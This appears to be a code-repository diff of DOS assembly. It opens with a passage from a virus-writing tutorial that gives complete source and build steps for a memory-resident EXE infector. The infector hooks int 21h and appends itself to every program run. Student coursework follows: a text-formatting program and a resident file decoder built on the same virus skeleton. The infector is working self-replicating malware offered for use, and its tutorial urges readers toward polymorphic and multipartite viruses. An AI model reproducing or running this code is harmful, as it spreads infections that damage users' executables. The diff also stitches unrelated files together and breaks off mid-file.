+ReloCS is definitely an important item. The item stored here, along with the ExeIP, represents the beginning address to our virus code. This value will be initially saved 
+from the host program so that it can be recalled and control returned back to the host. 
+
+TablOff 
+
+This is the offset to the first relocation element in the file. 
+
+Overlay 
+
+If this is the program main module, the value should be zero. 
+
+Below is a simple resident EXE infector. I choose to include a resident virus rather then a direct action infector, because I believe that, if you can write a resident EXE 
+infector, making it non-resident would be a piece of cake. One thing that I was considering to do was to follow the modular style of coding that I used in the last tutorial. 
+One trend that I was seeing in many viruses was that people were simply copying the code. After Slam #4 was released, you have no idea how many EXE infectors 
+started to hit the scene that were essentially a word for word copy. Whatever. In the end, I decided to include the virus below so that you can see everything working in 
+one virus, rather than the modular style of instruction. I am not sure which way is better, so I will probably continue to switch back and forth between styles. Another thing, 
+while I am in the preaching mode, from now on, I will not be explaining the most basic concepts of assembly. If you have been following along with the tutorials, you should 
+understand every concept that is in this tutorial. Really, the only new aspect that you need to be aware of with EXE infection is that you need to change certain values in 
+the header to accomodate your virus. You already know how to do this. In the beginning tutorials, you played around with elements of the DTA. Well, you are going to be 
+doing the same thing with the header, reading it into a buffer and reading and modifying the values that I have pointed out above. 
+.286
+virus segment
+  assume cs:virus, ds:virus, es:virus
+ 
+ jumps
+ org 0CBh
+ 
+start:
+ 
+  call delta                        ;Calculate delta offset
+delta:
+  pop bp
+  sub bp,offset delta
+ 
+  push ds                           ;save PSP address
+ 
+  push cs cs
+  pop ds es
+ 
+  mov ax,0CBCBh                     ;our "Codebreaker" residency check
+  int 21h                           ;>what is CB?
+  cmp bx,0C001h                     ;>C001!! :o)
+  je restore                        ;its already resident
+ 
+  pop ds                            
+  push ds                           ;PSP address back into DS
+  ;--------------------------------------------------
+  mov ax,ds                                 ;MCB residency
+  dec ax                                    ;For further clarification
+  mov ds,ax                                 ;read Codebreaker Tutorial 3
+ 
+  sub word ptr ds:[3],40h
+  sub word ptr ds:[12h],40h
+ 
+  xor ax,ax
+  mov ds,ax
+ 
+  dec word ptr ds:[413h]
+ 
+  mov ax,word ptr ds:[413h]
+  shl ax,6
+ 
+  mov es,ax
+ 
+  push cs
+  pop ds
+ 
+  lea si,[bp+start]
+  xor di,di
+  mov cx,the_end - start
+  rep movsb
+  ;--------------------------------------------------
+  xor ax,ax                                 ;Setting of interrupts
+  mov ds,ax                                 ;For further clarification
+                                            ;read Codebreaker Tutorial 3
+  mov ax,es                                 
+  mov bx,new_int21h-start
+  cli
+  xchg bx,word ptr ds:[21h*4]
+  xchg ax,word ptr ds:[21h*4+2]
+  mov word ptr es:[old_int21h-start],bx
+  mov word ptr es:[old_int21h+2-start],ax
+  sti
+  ;--------------------------------------------------
+  push cs cs
+  pop ds es
+ 
+  mov ah,9                                  ;Warns the poor shmuck
+  lea dx,[bp+message]
+  int 21h
+ 
+restore:                                    ;Control handed back
+ 
+  lea si,[bp+old_ip]                        ;Restore orig IP
+  lea di,[bp+original_ip]
+  mov cx,4
+  rep movsw
+ 
+; Now for a clarification of the next four lines. At the beginning of
+; the virus DS contains the address of the PSP. We now restore the
+; address from the stack, place the address in ES.  Then add 10h to
+; skip over the PSP.  Skip over the PSP(100h) with 10h? Sounds a little
+; fishy, right?  Well, remember that when you add 10h to AX, you are
+; adding 10h segments. Each segment is 10h bytes, so 10h*10h=100h (PSP)
+ 
+  pop ds
+  mov ax,ds
+  mov es,ax
+  add ax,10h
+ 
+  add word ptr cs:[bp+original_cs],ax       ;Orig CS
+  cli
+  add ax,word ptr cs:[bp+original_ss]       ;Orig SS
+  mov ss,ax
+  mov sp,word ptr cs:[bp+original_sp]       ;Orig SP
+  sti
+ 
+ db 0eah                                    ;jump to to it
+ original_ip dw ?                           ;
+ original_cs dw ?
+ original_ss dw ?
+ original_sp dw ?
+ 
+ 
+ new_int21h:                                ;our int 21h handler
+  pushf                                     ;push the flags
+  cmp ax,0CBCBh                             ;residency check
+  jne no_install_check
+  mov bx,0C001h                             ;already resident
+  popf                                      ;restore all flags
+  iret                                      ;return
+ no_install_check:
+  cmp ah,4bh                                ;check if execute
+  je infect
+ return:
+  popf                                      ;restore all flags
+ db 0eah                                    ;jmp to orig int 21h
+ old_int21h dd ?
+ 
+ infect:
+  pusha                                     ;only 286, saves all gen reg
+  push ds
+  push es
+ 
+  call tsr_delta
+ tsr_delta:
+  pop bp                                    ;a tsr delta offset %-)
+  sub bp,offset tsr_delta
+ 
+  mov ax,3d02h                              ;open file in DS:DX
+  int 21h
+  jc exit
+ 
+  xchg ax,bx                                ;file handle to bx
+ 
+  push cs cs
+  pop ds es
+ 
+  mov ah,3fh                                ;Read the target header
+  lea dx,[bp+header]                        ;into our buffer
+ 
+  mov cx,1ch
+  int 21h
+ 
+  cmp word ptr cs:[bp+header],'ZM'          ;check if its an EXE
+  je ok
+  cmp word ptr cs:[bp+header],'MZ'
+  je ok
+  jmp close
+ 
+ ok:
+  cmp word ptr cs:[bp+header+12h],'BC'      ;Checksum value checked for
+  je close                                  ;previous infection
+ 
+  mov word ptr cs:[bp+header+12h],'BC'      ;Mark it as infected
+ 
+  mov ax,word ptr cs:[bp+header+14h]        ;Save orig ExeIP
+  mov word ptr cs:[bp+old_ip],ax            ;Store in our buffer
+  mov ax,word ptr cs:[bp+header+16h]        ;Save orig ReloCS
+  mov word ptr cs:[bp+old_cs],ax            
+  mov ax,word ptr cs:[bp+header+0eh]        ;Save orig ReloSS
+  mov word ptr cs:[bp+old_ss],ax
+  mov ax,word ptr cs:[bp+header+10h]        ;Save orig ExeSP
+  mov word ptr cs:[bp+old_sp],ax
+ 
+  mov ax,4202h                              ;Set pointer to end of file
+  xor cx,cx
+  xor dx,dx
+  int 21h
+ 
+  push ax dx                                ;Save EOF results
+ 
+                                            ;Calculate new CS:IP, we set
+                                            ;it to the EOF (this is where
+                                            ;we will attach our virus)
+ 
+  mov cx,16                                 ;Convert filesize into 16 byte
+  div cx                                    ;paragraphs
+ 
+  sub ax,word ptr cs:[bp+header+8]          ;Substract Header size from
+                                            ;filesize to get the image
+                                            ;(code/data) size.
+ 
+                                            ;save:
+  mov word ptr cs:[bp+header+14h],dx        ;New ExeIP
+  mov word ptr cs:[bp+header+16h],ax        ;New ReloCS
+ 
+  pop dx ax                                 ;restore saved filesize
+ 
+  add ax,the_end - start                    ;Add virus size to file size
+  adc dx,0                                  ;Adds carry to DX
+ 
+  mov cx,512                                ;Calculate amount of pages
+  div cx
+ 
+  cmp dx,0
+  je no_remainder
+  inc ax                                    ;if remainder, add 1
+ no_remainder:
+ 
+  mov word ptr cs:[bp+header+4],ax          ;New PageCnt
+  mov word ptr cs:[bp+header+2],dx          ;New PartPag
+ 
+  mov ah,40h                                ;write the virus to the EOF
+  lea dx,[bp+start]
+  mov cx,the_end - start
+  int 21h
+ 
+  mov ax,4200h                              ;Send pointer to beginning
+  xor cx,cx
+  xor dx,dx
+  int 21h
+ 
+  mov ah,40h                                ;Write the new header
+  lea dx,[bp+header]
+  mov cx,1ch
+  int 21h
+ 
+mov al,7
+int 29h                                     ; just a BEEEEEPPP
+ 
+ close:
+  mov ah,3eh                                ;close file
+  int 21h
+ 
+ exit:
+  pop es
+  pop ds
+  popa
+  jmp return
+ 
+ 
+ old_ip dw offset exit_prog
+ old_cs dw 0
+ old_ss dw 0
+ old_sp dw 0fffeh
+ 
+ header db 1ch dup(?)                       ;Buffer for header
+ 
+ message db 10,13,10,13
+ db '- SPo0ky''s EXAMPLE TSR EXE infector for Horny Toad''s ''Guide To EXE Infection'' -',10,13
+ db '- has been installed in your computers memory and will from now on infect any -',10,13
+ db '- EXE file that you execute.                                                  -',10,13
+ db '- You can use TBCLEAN (www.thunderbyte.com) to clean this virus.              -',10,13,10,13
+ db '                           - www.codebreakers.org -',10,13,'$'
+ 
+ the_end:
+ 
+ exit_prog:
+  mov ax,4c00h                              ;Request terminate program
+  int 21h
+ 
+virus ends
+end start
+In order to see the above virus work. Cut the virus out of this file and save it in a file exevir.asm. 
+
+At a prompt with TASM/TLINK in the same directory, type: 
+   c:\>tasm exevir.asm
+   c:\>tlink exevir.obj
+Use the myexe.exe (below) as the host program. With both of the programs in the same directory, execute the virus, then execute the host program. If you look at the 
+filesize using the (dir)ectory command, you will see that it has increased in length. Test this virus in a MSDOS box from windows and when you exit out of the MSDOS 
+box, the virus will be gone. If you check the header now, you will be able to see the changes made after infection. Take a look at that beautiful "CB" infection marker. 
+   ??:0100  4D 5A 5A 01 03 00 01 00-20 00 11 00 FF FF 02 00   MZZ..... .......
+   ??:0110  00 01 43 42 01 00 01 00-3E 00 00 00 01 00 FB 71   ..CB....>......q
+   ??:0120  6A 72 00 00 00 00 00 00-00 00 00 00 00 00 00 00   jr..............
+To write the definitive guide to all forms of EXE infection, I would need to quit my day job (which I've thought of doing) and just write a book. In the end it is better to have a 
+bunch of installments attacking each issue and facet of virus writing. Look for the future Codebreaker tutorials become much more specific and advanced. If you can 
+understand how to infect COM and EXE files, along with what role encryption and polymorphism can aid in virus effectivness, you are well on you way to making some 
+really awesome creations. The only thing that you need to add from here is some boot infection techniques to the virus and watch out, you'll have a decent multipartide 
+virus. I guess my one piece of advice now is to read code and absorb it. Start to become critical of others code and use that knowledge and judgement to develope your 
+own style. Enough preaching! 
+
+Have fun! 
+Good luck! 
+
+Horny Toad 
+
+
+SAMPLE PROGRAMS USED IN TUTORIAL 
+
+In order to extract this sample program, cut it out of this file and paste it into a file named "myexe.txt". 
+
+At the prompt, type: 
+   c:\>debug < myexe.txt
+   c:\>rename myexe.exd myexe.exe
+You will then have a sample infectable EXE file. 
+   N MYEXE.EXD
+   E 0100 4D 5A 11 00 02 00 01 00 20 00 11 00 FF FF 02 00 
+   E 0110 00 01 00 00 00 00 00 00 3E 00 00 00 01 00 FB 71 
+   E 0120 6A 72 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
+   E 0130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 
+   E 0140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
+   E 0150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
+   E 0160 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
+   E 0170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
+   E 0180 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
+   E 0190 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
+   E 01A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
+   E 01B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
+   E 01C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
+   E 01D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
+   E 01E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
+   E 01F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
+   E 0200 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
+   E 0210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
+   E 0220 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
+   E 0230 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
+   E 0240 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
+   E 0250 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
+   E 0260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
+   E 0270 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
+   E 0280 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
+   E 0290 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
+   E 02A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
+   E 02B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
+   E 02C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
+   E 02D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
+   E 02E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
+   E 02F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
+   E 0300 B8 01 00 8E D8 8E C0 B4 4C A0 00 00 CD 21 00 00 
+   E 0310 00 
+   RCX
+   0211
+   W
+   Q

+ 241 - 0
ASM/!SPBSTU/4sem/Kursovik/2/2/host.as2

@@ -0,0 +1,241 @@
+; ‚ à¨ ­â 19
+; ‚¥àá¨ï 2. „ ­­ë¥ ¨§ ä ©«  2.txt
+; …­¨ª¥¥¢ ˆ.�.  2084/1
+.286
+cseg segment byte public 'CODE'
+        assume cs:cseg, ds:dseg, es:dseg
+start:  
+        mov ax, seg dseg
+        mov es, ax
+        mov ds, ax
+ ;------------------------------
+        mov ax, 3d00h
+        mov dx, offset fname
+        int 21h
+        jnc $+5
+        jmp no_file
+
+        push ax
+        mov bp, 1               ; BP will hold ifWORK
+line_loop:
+        pop bx
+        mov cx, 1
+        mov dx, offset from
+char_loop:
+        mov ah, 3fh
+        int 21h
+        mov si, dx
+        test ax, ax
+        jz eof
+        cmp byte ptr ds:[si], 0ah
+        je eol
+        inc dx
+        jmp char_loop
+
+eol:    mov byte ptr ds:[si-1], 0
+        push bx
+        jmp work
+
+eof:    mov byte ptr ds:[si], 0
+        xor bp, bp        
+        mov ah, 3eh
+        int 21h
+work:   
+        cmp byte ptr [from], 0  ; Test input string to non-empty
+        jnz $+5
+        jmp no_string
+
+        mov di, offset to
+        add di, [need_len]
+        mov [max_len], di
+        
+        xor cx, cx              ; Begin of work
+        not cx
+        mov di, offset from     
+        mov al, ' '
+        repz scasb              ; Skip all spaces at the beginning
+        dec di
+        mov real_ofs, di        ; Save offset of first non-space character
+
+        xor ax, ax
+        xor cx, cx
+        not cx
+        repnz scasb             ; Search for tailing zero
+
+        dec di
+        dec di                  ; di - points to last non-zero char
+
+        not cx
+        dec cx
+        push cx                 ; Save full length of string
+
+        std                     ; Change direction flag to backwards
+        mov al, ' '
+        xor cx, cx
+        not cx
+        repz scasb              ; Search for non-space charecter at the end of string
+
+        inc di
+        inc di                  ; di points to next after last non-space
+        mov byte ptr [di], 0    ; Discard tailing spaces
+
+        not cx
+        dec cx                  ; Get count of tailing spaces
+
+        pop ax                  
+        sub ax, cx              ; Calculate length of trimmed string (without leading and tailing spaces)
+        jg  $+5                 ; If length is positive - countinue work
+        jmp no_string
+
+        cld                     ; Restore normal direction flag
+        mov cx, ax              ; Set trimmed length
+        mov di, real_ofs        ; Set pointer to the beginng of string
+
+
+        xor bx, bx              ; bx holds non-space chars count
+        xor dx, dx              ; dx holds word count-1
+
+word_loop:                      ; loop for calculate word and non-space char count in sentence
+        mov al, [di]            ; get char from string
+        test al, al             ; test for EOS
+        jz next_1               ; If so - we are reached end of string
+        cmp al, ' '             ; Compare with space
+        jz inloop1              ; if so - skip all following spaces and inc word count
+        inc bx                  ; Increment letters count
+        inc di                  ; advance pointer
+        dec cx                  ; decrement residuary string length
+        jnz word_loop           ; if we got non-tested chars - continue loop
+        jmp next_1              ; if not - end our loop
+
+inloop1:                        ; If we've found space in input string
+        inc dx                  ; Increment word count
+        inc cx                  ; Inc string's length for next line's right work
+        repz scasb              ; Skip all following spaces in input string
+        dec di                  ; Adjust pointer to point to first non-space char
+        jmp word_loop           ; Countinue loop
+                
+next_1: mov ax, need_len        ; Get our required output string length
+        sub ax, bx              ; Decrease this length by total count of letters
+                                ; to get count of spaces, that we need to arrange
+                                ; between words
+
+        cmp ax, dx              ; if that count is less than spaces we've got to put
+                                ; betten words to save them separated then
+        jge need_spaces         ; Show error message
+
+        mov toins, 1            ; We'll have to crop input string, so leave we'll 
+                                ; only one space as gaps
+        xor dx, dx              ; And don't need for additional spaces
+        jmp just_copy
+
+need_spaces:        
+        mov bx, dx              ; bx will hold count of gaps between words
+        test bx, bx             ; if we've got only one word - so we don't need any gaps
+        jz just_copy
+
+        xor dx, dx              ; clear dx for normal div's work
+        div bx                  ; AX - holds count of spaces, bx - count of gaps, so
+        mov toins, ax           ; new ax - holds space count in each gap, and 
+                                ; dx - remainder of division
+
+just_copy:                      ; Prepare of our main loop of creation of output string
+        mov si, real_ofs        ; Source - input string
+        mov di, offset to       ; Destination - memory to hold output string
+        
+main_loop:                      ; Here comes the main loop
+        cmp di, [max_len]
+        jl $+4
+        jmp wr_out
+
+        mov al, [si]            ; get character
+        test al, al             ; if we're reached end of string
+        jz wr_out               ; goto write output
+
+        cmp al, ' '             ; if we got space - 
+        jz space                ; work with this gap
+
+        movsb                   ; else just copy character from input to output
+        jmp main_loop           ; continue loop
+
+space:                          ; if we've got space - skip all following in input 
+                                ; and add needed space count in gap in output
+        xor cx, cx
+        not cx
+        xchg si, di             ; scas works with di - so we need to put si there
+        repz scasb              ; al - hold ' ' (by that reason we are here)
+        dec di                  ; so we've skipped all following spaces in input
+
+        xchg di, si             ; return poiners at their normal state 
+
+        mov cx, toins           ; put needed space count in output string
+        rep stosb               ; in al we're still got ' '
+
+        test dx, dx             ; if our remainder are zero
+        jz main_loop            ; - continue loop
+        stosb                   ; else - put one more space in current gap
+        dec dx                  ; and decrease remainder
+        jmp main_loop           ; and of course continue our loop
+        
+wr_out:                         ; Now we're reached final touches to our prog 
+        mov byte ptr [di], 0
+        xor ax, ax              ; We're going to search for tailing null char
+                                ; (we could skip this line because the only way to get here
+                                ;  is only from testing al to zero, so it DEFINITLY zero)
+        mov di, offset to       ; point to output string
+        xor cx, cx              ; Search for FFFF chars
+        not cx                  ;
+        repnz scasb             ; Search tailing zero
+        dec di                  ; And put
+        mov al, '$'             ; '$'
+        stosb                   ; instead of it
+
+        mov ah, 9               ; Use DOS's help
+        mov dx, offset to       ; to write output 
+        int 21h                 ; to user's eyes
+        mov dx, offset newline 
+        int 21h                 
+outta:        
+        test bp, bp
+        jz norm_out
+        jmp line_loop; output is OK!
+bad_len:
+        jmp short norm_out
+no_string:
+        mov ah, 09h
+        mov dx, offset newline
+        int 21h
+        jmp short outta
+no_file:
+        mov ah, 09h
+        mov dx, offset no_file_str
+        int 21h
+        jmp norm_out
+err_read:
+        mov ah, 09h
+        mov dx, offset err_read_str
+        int 21h
+        jmp norm_out
+
+norm_out:
+        mov ah, 4ch
+        int 21h
+ends
+dseg segment para public 'DATA'
+fname   db '2.txt',0
+toins   dw 0
+divis   dw 0
+wordcnt dw 0
+need_len dw 80
+real_ofs dw 0
+max_len dw 0
+newline db 0dh, 0ah, '$'
+no_file_str db 'Couldn''t open file 2.txt$'
+err_read_str db 'Error while reading 2.txt$'
+        dw 0    ; front border of string
+from    db 200 dup (?)
+to      db 100 dup (?)
+ends
+sseg segment stack
+ db 200 dup (?)
+ends
+end start

BIN
ASM/!SPBSTU/4sem/Kursovik/2/2/host.bak


BIN
ASM/!SPBSTU/4sem/Kursovik/2/2/host.exe


+ 1 - 0
ASM/!SPBSTU/4sem/Kursovik/2/2/pass.txt

@@ -0,0 +1 @@
+testme    hello     

+ 589 - 0
ASM/!SPBSTU/4sem/Kursovik/2/2/test.AS2

@@ -0,0 +1,589 @@
+.286
+decoder segment
+  assume cs:decoder, ds:decoder, es:decoder
+ 
+ jumps
+
+cMAX_FILE   equ 05
+cNAME_LEN   equ 12
+cPASS_LEN   equ 10
+cBUF_SIZE   equ 300
+
+RES_BEG:
+ 
+start:
+ 
+  push ds                           ;save PSP address
+; Check command line
+  cmp byte ptr ds:[80h], 0
+  je install
+
+  cmp word ptr ds:[82h], 'u/'
+  je remove
+
+install: 
+  push cs cs
+  pop ds es
+ 
+  mov ax,0DEADh                     ;our decoder residency check
+  int 21h                           ;
+  cmp bx,0CAFEh                     ;>CAFE :o)
+  je already_resident               ;its already resident
+
+;----------------
+; Read files&passwords
+  mov ax, 3d00h
+  mov dx, offset fname
+  int 21h
+  jc exit_prog
+
+  xchg bx, ax
+
+  mov ah, 3fh
+  mov cx, cMAX_FILE*cNAME_LEN
+  mov dx, offset files
+  int 21h
+
+  mov ah, 3eh
+  int 21h
+  
+  mov ax, 3d00h
+  mov dx, offset pname
+  int 21h
+  jc exit_prog
+
+  xchg bx, ax
+
+  mov ah, 3fh
+  mov cx, cMAX_FILE*cPASS_LEN
+  mov dx, offset passwords
+  int 21h
+
+  mov ah, 3eh
+  int 21h
+  
+  pop ds                            
+  push ds                           ;PSP address back into DS
+
+;---------- REMOVE IT ---------- 
+  mov ax, ds
+  mov es, ax
+  mov ah, 4ah
+  mov bx, VERY_END - start
+  shr bx, 4
+  inc bx
+  int 21h       ; Change block size
+
+  push cs
+  pop ax
+;-------------------------------
+
+  ;--------------------------------------------------
+;  mov ax,ds                         ;MCB residency
+;  dec ax
+;  mov ds,ax
+
+;  mov cx, the_end - RES_BEG         ; Size of interrupt handlers
+;  shr cx, 10
+;  inc cx
+
+;  sub word ptr ds:[413h], cx        ; Decrease BIOS data's free space
+
+;  shl cx, 6
+ 
+;  sub word ptr ds:[3], cx           ; Decrease the size of Memory Block
+ ; sub word ptr ds:[12h], cx         ; Same, but in PSP
+ 
+;  xor ax,ax
+;  mov ds,ax
+ 
+;  mov ax,word ptr ds:[413h]         ; Calculate address of free space
+;  shl ax,6
+ 
+  mov es,ax
+ 
+  push cs
+  pop ds
+ 
+  lea si, [RES_BEG]                   ; Copy our prog there
+;  xor di,di
+  mov cx, the_end - RES_BEG              ; Size of interrupt handlers
+;  rep movsb
+  ;--------------------------------------------------
+  int 5
+  xor ax,ax                                 ;Setting of interrupts
+  mov ds,ax                                 
+                                            
+  mov ax,es                                 
+;  mov bx,0                                  ; Offset to interrupt in new address
+  mov bx, offset new_int21h     ; REMOVE IT!
+
+  cli
+  xchg bx,word ptr ds:[21h*4]
+  xchg ax,word ptr ds:[21h*4+2]
+  mov word ptr es:[old_int21h-RES_BEG],bx
+  mov word ptr es:[old_int21h+2-RES_BEG],ax
+  sti
+  ;--------------------------------------------------
+  push cs cs
+  pop ds es
+ 
+  mov ah,9                                  ; Installed OK message
+  lea dx,[message]
+  int 21h
+
+ TSR:
+  mov ax, 3101h
+  mov dx, VERY_END - start
+  shr dx, 4
+  inc dx
+  int 21h       ; Change block size
+  
+
+ exit_prog:
+  pop ds                                    ;Restore PSP in DS
+  mov ax,4c00h                              ;Request terminate program
+  int 21h
+;-----------------------------------------------------------------
+; Resident begins here
+ new_int21h:                                ;our int 21h handler
+  pushf                                     ;push the flags
+  int 5
+  cmp ax,0DEADh                             ;residency check
+  jne no_install_check
+  mov bx,0CAFEh                             ;already resident
+  popf                                      ;restore all flags
+  iret                                      ;return
+ no_install_check:
+  cmp ax, 0DEDDh
+  je uninstall
+  cmp ah, 4bh                               ;check if execute
+  je infect
+  cmp ah, 4ch                               ;check if terminate
+  je terminate
+
+ return:
+  popf                                      ;restore all flags
+ db 0eah                                    ;jmp to orig int 21h
+ old_int21h dd ?
+;--------------------------------
+uninstall:
+;  int 5
+  pusha                                     ;only 286, saves all gen reg
+  push ds
+  push es
+
+  push cs
+  pop es
+
+  xor ax,ax
+  mov ds,ax
+ 
+;  inc word ptr ds:[413h]                    ;Increase BIOS data's free space by 1Kb
+  cli
+  xchg bx,word ptr es:[old_int21h-RES_BEG]
+  xchg ax,word ptr es:[old_int21h+2-RES_BEG]
+  
+  mov word ptr ds:[21h*4],bx
+  mov word ptr ds:[21h*4+2],ax
+  sti
+
+  pop es
+  pop ds
+  popa
+
+  popf                                      ;restore all flags
+  iret                                      ;return
+;-------------------------------   
+ infect:
+  int 5
+  pusha                                     ;only 286, saves all gen reg
+  push ds
+  push es
+
+  call tsr_delta
+ tsr_delta:
+  pop bp                                    ;a tsr delta offset %-)
+  sub bp, offset tsr_delta
+
+  push ds
+  push dx
+
+  mov ax,3d02h                              ;open file in DS:DX
+  int 21h
+  jc exit
+  
+  jmp close
+  
+  ; Test, if currently opening file is in database
+  mov di, dx
+  call SeekZ
+  push di
+
+  std
+  mov al, '\'
+  repnz scasb
+  cld
+  jnz $+3
+  inc di
+  inc di
+
+  pop cx
+  sub cx, di
+
+  push cx
+  push di
+
+  mov dx, 12
+
+  push cs
+  pop es
+  lea di, es:[bp+files]
+
+searchloop:
+  pop si
+  pop cx
+  push cx
+  push si
+  push di
+
+  mov al, es:[di]
+  test al, al
+  jz not_found
+
+  repz cmpsb
+  jz found
+
+  pop di
+  add di, dx
+  jmp searchloop
+
+found:
+  int 5
+
+  pop di
+  pop si
+  pop cx
+
+; Calculate offset to password
+; Get number of file in table
+  lea si, es:[bp+files]
+  sub di, si
+  mov ax, di
+  mov bx, cNAME_LEN
+  xor dx, dx
+  div bx
+
+  mov bx, cPASS_LEN
+  mul bx
+
+  lea di, es:[bp+passwords]
+  add di, ax
+  mov es:[bp+pass], di
+
+  push cs
+  pop ds
+  mov cx, cPASS_LEN
+  mov al, ' '
+  repnz scasb
+  jnz $+3
+  inc cx
+  sub cx, cPASS_LEN
+  neg cx
+
+  mov es:[bp+pass_len], cx
+
+
+  pop dx
+  pop ds
+
+  jmp decode_file
+
+not_found:
+  pop di
+  pop si
+  pop cx
+
+  pop dx
+  pop ds
+
+  jmp exit
+;------------------------------------
+
+decode_file: 
+  mov ax,3d02h                              ;open file in DS:DX
+  int 21h
+  jc exit
+ 
+  xchg ax,bx                                ;file handle to bx
+  mov cs:[bp+handle], ax
+ 
+  push cs cs
+  pop ds es
+ 
+  mov ah,3fh                                ;Read the target header
+  lea dx, ds:[bp+header]                    ;into our buffer
+  mov cx,1ch
+  int 21h
+
+  mov ax, word ptr ds:[bp+header+12h]       ; Test if program is our coded prog
+  cmp ax, 'CD'
+  jnz close
+;-------------------------
+; Decode all the file
+;------------------------- 
+        ; Calculate count of encode bytes
+        mov ax, 4202h
+        xor cx, cx
+        xor dx, dx
+        int 21h
+
+        mov cx, dx      ; Hi part
+        mov dx, ax      ; Lo part
+
+        mov bx, word ptr ds:[bp+header+8]
+        mov ax, bx
+        shr ax, 12
+        shl bx, 4
+
+        sub cx, ax
+        push cx
+        sub dx, bx
+        push dx
+
+        mov cx, ax
+        mov dx, bx
+        mov bx, ds:[bp+handle]
+        mov ax, 4200h
+        int 21h
+
+        pop dx
+        pop cx
+buf_loop:
+        push cx
+        push dx
+
+        sub dx, cBUF_SIZE
+        sbb cx, 0
+        jle last_buf
+
+begins:
+        mov ah, 3Fh             ; Read full buffer of
+        mov cx, cBUF_SIZE       ; EXECing file
+        lea dx, ds:[bp+buffer]
+        int 21h         
+
+        mov cx, ax
+        dec cx
+        lea di, ds:[bp+buffer]
+        call decode
+        lea di, ds:[bp+buffer]
+        call submagic
+
+        mov ax, 4201h
+        mov dx, cBUF_SIZE
+        neg dx
+        xor cx, cx
+        int 21h
+
+        mov ah, 40h     ; Write segment to
+        mov cx, cBUF_SIZE ; the input file
+        lea dx, ds:[bp+buffer]
+        int 21h         ;
+
+        pop dx
+        pop cx
+
+        sub dx, cBUF_SIZE
+        sbb cx, 0
+        jmp buf_loop
+
+last_buf:
+        pop cx
+        pop dx
+
+        mov ah, 3Fh     ; Read data of
+        push cx
+        lea dx, ds:[bp+buffer]
+        int 21h         ;
+
+        lea di, ds:[bp+buffer]
+        pop cx
+        push cx
+        dec cx
+        lea di, ds:[bp+buffer]
+        call decode
+        lea di, ds:[bp+buffer]
+        call submagic
+
+        mov ax, 4201h
+        pop dx
+        push dx
+        neg dx
+        xor cx, cx
+        int 21h
+
+        mov ah, 40h     ; Write segment to
+        pop cx
+        lea dx, ds:[bp+buffer]
+        int 21h         ;
+
+        ;- Done
+ 
+ close:
+  mov ah,3eh                                ;close file
+  int 21h
+ 
+ exit:
+  pop es
+  pop ds
+  popa
+  jmp return
+
+terminate:
+
+ jmp return
+ 
+ 
+ pass_len dw 0
+ pass      dw 0
+ header db 1ch dup(?)                       ;Buffer for header
+ handle    dw 0
+ passwords db (cPASS_LEN*cMAX_FILE) dup (0)
+  db 0
+ files     db (cNAME_LEN*cMAX_FILE) dup (0)
+  db ' '
+ buffer    db cBUF_SIZE dup (?)
+ test_pass db 10, 12, 15, 17, -20, -13, 05, -30, 55, -51
+;-----------------------
+SeekZ proc near
+  mov al, 0
+  mov cx, 0ffffh
+  repnz scasb
+  neg cx
+  dec cx
+  dec di
+  ret
+endp
+
+;------------------
+; es:di - what to decode
+; cx - length
+decode proc near 
+        push si
+        push ax
+        push cx
+        push dx
+        mov dx, ds:[bp+pass_len]
+loops2: mov si, ds:[bp+pass]
+        cmp cx, dx
+        jb lasts2
+        push cx
+        mov cx, dx
+addmag2: mov al, ds:[si]
+        xor es:[di], al
+        inc si
+        inc di
+        loop addmag2
+        pop cx
+        sub cx, dx
+        jmp loops2
+
+lasts2: inc cx
+lasts3: mov al, ds:[si]
+        xor es:[di], al
+        inc si
+        inc di
+        loop lasts3
+
+        pop dx
+        pop cx
+        pop ax
+        pop si
+        ret
+endp
+
+submagic proc near 
+        push si
+        push ax
+        push cx
+loops:  lea si, ds:[bp+test_pass]
+        cmp cx, 10
+        jb lasts
+        push cx
+        mov cx, 10
+addmag: mov al, ds:[si]
+        sub es:[di], al
+        inc si
+        inc di
+        loop addmag
+        pop cx
+        sub cx, 10
+        jmp loops
+
+lasts:  inc cx
+lasts0: mov al, ds:[si]
+        sub es:[di], al
+        inc si
+        inc di
+        loop lasts0
+
+        pop cx
+        pop ax
+        pop si
+        ret
+endp
+;------------------
+the_end:
+
+ message db 10,13,10,13
+ db '- Decoder of encrypted files successfully installed -',10,13
+ db '                           - Copyright Enikeew I.R. 2084/1 -',10,13,'$'
+
+ msg_already db 10, 13
+ db '- Decoder already installed - ', 10, 13
+ db '                           - Copyright Enikeew I.R. 2084/1 -',10,13,'$'
+
+ msg_not db 10, 13
+ db '- Decoder isn''t installed !- ', 10, 13
